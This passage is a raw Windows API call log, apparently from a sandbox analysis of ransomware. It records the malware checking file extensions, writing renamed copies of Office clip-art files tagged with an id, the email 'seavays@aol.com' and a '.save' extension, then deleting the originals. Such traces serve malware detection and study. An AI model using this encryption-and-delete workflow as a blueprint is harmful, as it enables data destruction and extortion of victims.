[0173.844] lstrlenW (lpString=".ppt") returned 4 [0173.844] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0173.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.844] lstrlenW (lpString=".zip") returned 4 [0173.844] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0173.844] lstrlenW (lpString=".rar") returned 4 [0173.844] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0173.844] lstrlenW (lpString=".bz2") returned 4 [0173.844] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0173.844] lstrlenW (lpString=".7z") returned 3 [0173.844] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0173.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.844] lstrlenW (lpString=".dbf") returned 4 [0173.844] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0173.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.844] lstrlenW (lpString=".1cd") returned 4 [0173.844] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0173.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 68 [0173.845] lstrlenW (lpString=".jpg") returned 4 [0173.845] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0173.845] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0173.845] lstrlenW (lpString="PARNT_05.MID") returned 12 [0173.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0174.214] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6020) returned 1 [0174.214] CloseHandle (hObject=0x518) returned 1 [0174.214] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 0x220 [0174.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0175.823] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.823] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0175.829] GetLastError () returned 0x0 [0175.829] ReadFile (in: hFile=0x548, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1784, lpOverlapped=0x0) returned 1 [0175.831] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1790, lpOverlapped=0x0) returned 1 [0175.833] ReadFile (in: hFile=0x548, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0175.833] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0175.833] SetEndOfFile (hFile=0x44c) returned 1 [0175.833] CloseHandle (hObject=0x44c) returned 1 [0175.833] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.833] SetEndOfFile (hFile=0x548) returned 1 [0175.838] CloseHandle (hObject=0x548) returned 1 [0175.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.838] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0175.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.839] lstrlenW (lpString=".doc") returned 4 [0175.840] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.840] lstrlenW (lpString=".docx") returned 5 [0175.840] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0175.840] lstrlenW (lpString=".pdf") returned 4 [0175.840] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.840] lstrlenW (lpString=".xls") returned 4 [0175.840] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.840] lstrlenW (lpString=".xlsx") returned 5 [0175.840] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0175.840] lstrlenW (lpString=".ppt") returned 4 [0175.840] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.840] lstrlenW (lpString=".zip") returned 4 [0175.840] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.840] lstrlenW (lpString=".rar") returned 4 [0175.840] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.840] lstrlenW (lpString=".bz2") returned 4 [0175.840] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.840] lstrlenW (lpString=".7z") returned 3 [0175.840] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString=".dbf") returned 4 [0175.841] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString=".1cd") returned 4 [0175.841] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString=".jpg") returned 4 [0175.841] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString=".doc") returned 4 [0175.841] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.841] lstrlenW (lpString=".docx") returned 5 [0175.841] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0175.841] lstrlenW (lpString=".pdf") returned 4 [0175.841] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.841] lstrlenW (lpString=".xls") returned 4 [0175.841] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.841] lstrlenW (lpString=".xlsx") returned 5 [0175.841] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0175.841] lstrlenW (lpString=".ppt") returned 4 [0175.841] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.841] lstrlenW (lpString=".zip") returned 4 [0175.841] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.841] lstrlenW (lpString=".rar") returned 4 [0175.842] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.842] lstrlenW (lpString=".bz2") returned 4 [0175.842] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.842] lstrlenW (lpString=".7z") returned 3 [0175.842] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.842] lstrlenW (lpString=".dbf") returned 4 [0175.842] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.842] lstrlenW (lpString=".1cd") returned 4 [0175.842] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 68 [0175.842] lstrlenW (lpString=".jpg") returned 4 [0175.842] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.842] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.842] lstrlenW (lpString="SPACE_01.MID") returned 12 [0175.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0175.845] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=4219) returned 1 [0175.845] CloseHandle (hObject=0x548) returned 1 [0175.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 0x220 [0175.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0175.848] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.848] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0175.849] GetLastError () returned 0x0 [0175.849] ReadFile (in: hFile=0x548, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x107b, lpOverlapped=0x0) returned 1 [0175.851] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1080, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1080, lpOverlapped=0x0) returned 1 [0175.853] ReadFile (in: hFile=0x548, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0175.853] WriteFile (in: hFile=0x44c, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0175.853] SetEndOfFile (hFile=0x44c) returned 1 [0175.854] CloseHandle (hObject=0x44c) returned 1 [0175.854] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0175.854] SetEndOfFile (hFile=0x548) returned 1 [0175.857] CloseHandle (hObject=0x548) returned 1 [0175.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\space_01.mid")) returned 1 [0175.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.859] lstrlenW (lpString=".doc") returned 4 [0175.859] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.859] lstrlenW (lpString=".docx") returned 5 [0175.859] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.859] lstrlenW (lpString=".pdf") returned 4 [0175.859] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.859] lstrlenW (lpString=".xls") returned 4 [0175.859] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.859] lstrlenW (lpString=".xlsx") returned 5 [0175.859] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.859] lstrlenW (lpString=".ppt") returned 4 [0175.859] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.859] lstrlenW (lpString=".zip") returned 4 [0175.859] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.859] lstrlenW (lpString=".rar") returned 4 [0175.859] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.859] lstrlenW (lpString=".bz2") returned 4 [0175.859] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.859] lstrlenW (lpString=".7z") returned 3 [0175.859] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.859] lstrlenW (lpString=".dbf") returned 4 [0175.859] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.859] lstrlenW (lpString=".1cd") returned 4 [0175.860] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.860] lstrlenW (lpString=".jpg") returned 4 [0175.860] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.860] lstrlenW (lpString=".doc") returned 4 [0175.860] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0175.860] lstrlenW (lpString=".docx") returned 5 [0175.860] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0175.860] lstrlenW (lpString=".pdf") returned 4 [0175.860] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0175.860] lstrlenW (lpString=".xls") returned 4 [0175.860] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0175.860] lstrlenW (lpString=".xlsx") returned 5 [0175.860] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0175.860] lstrlenW (lpString=".ppt") returned 4 [0175.860] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0175.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.860] lstrlenW (lpString=".zip") returned 4 [0175.860] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0175.860] lstrlenW (lpString=".rar") returned 4 [0175.860] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0175.860] lstrlenW (lpString=".bz2") returned 4 [0175.860] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0175.860] lstrlenW (lpString=".7z") returned 3 [0175.861] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0175.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.861] lstrlenW (lpString=".dbf") returned 4 [0175.861] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0175.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.861] lstrlenW (lpString=".1cd") returned 4 [0175.861] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0175.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPACE_01.MID") returned 68 [0175.861] lstrlenW (lpString=".jpg") returned 4 [0175.861] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0175.861] lstrcmpiW (lpString1=".MID", lpString2=".save") returned -1 [0175.861] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0175.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.135] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3bbff14 | out: lpFileSize=0x3bbff14*=6700) returned 1 [0176.135] CloseHandle (hObject=0x544) returned 1 [0176.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 0x220 [0176.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0176.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0176.136] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.136] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0176.137] GetLastError () returned 0x0 [0176.137] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x1a2c, lpOverlapped=0x0) returned 1 [0176.139] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0x1a30, lpOverlapped=0x0) returned 1 [0176.140] ReadFile (in: hFile=0x544, lpBuffer=0x40ca020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesRead=0x3bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0176.140] WriteFile (in: hFile=0x434, lpBuffer=0x40ca020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x40ca020*, lpNumberOfBytesWritten=0x3bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0176.140] SetEndOfFile (hFile=0x434) returned 1 [0176.140] CloseHandle (hObject=0x434) returned 1 [0176.140] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0176.140] SetEndOfFile (hFile=0x544) returned 1 [0176.143] CloseHandle (hObject=0x544) returned 1 [0176.143] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0176.144] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\sprng_01.mid")) returned 1 [0176.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.160] lstrlenW (lpString=".doc") returned 4 [0176.160] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.160] lstrlenW (lpString=".docx") returned 5 [0176.160] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.160] lstrlenW (lpString=".pdf") returned 4 [0176.160] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.160] lstrlenW (lpString=".xls") returned 4 [0176.160] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.160] lstrlenW (lpString=".xlsx") returned 5 [0176.160] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.160] lstrlenW (lpString=".ppt") returned 4 [0176.161] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString=".zip") returned 4 [0176.161] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.161] lstrlenW (lpString=".rar") returned 4 [0176.161] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.161] lstrlenW (lpString=".bz2") returned 4 [0176.161] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.161] lstrlenW (lpString=".7z") returned 3 [0176.161] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString=".dbf") returned 4 [0176.161] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString=".1cd") returned 4 [0176.161] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString=".jpg") returned 4 [0176.161] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.161] lstrlenW (lpString=".doc") returned 4 [0176.161] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0176.161] lstrlenW (lpString=".docx") returned 5 [0176.161] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0176.161] lstrlenW (lpString=".pdf") returned 4 [0176.161] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0176.161] lstrlenW (lpString=".xls") returned 4 [0176.162] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0176.162] lstrlenW (lpString=".xlsx") returned 5 [0176.162] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0176.162] lstrlenW (lpString=".ppt") returned 4 [0176.162] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0176.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SPRNG_01.MID") returned 68 [0176.162] lstrlenW (lpString=".zip") returned 4 [0176.162] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0176.162] lstrlenW (lpString=".rar") returned 4 [0176.162] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0176.162] lstrlenW (lpString=".bz2") returned 4 [0176.162] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0176.162] lstrlenW (lpString=".7z") returned 3 [0176.162] lstrcmpiW (lpString1=".7z", lpString2="MID") 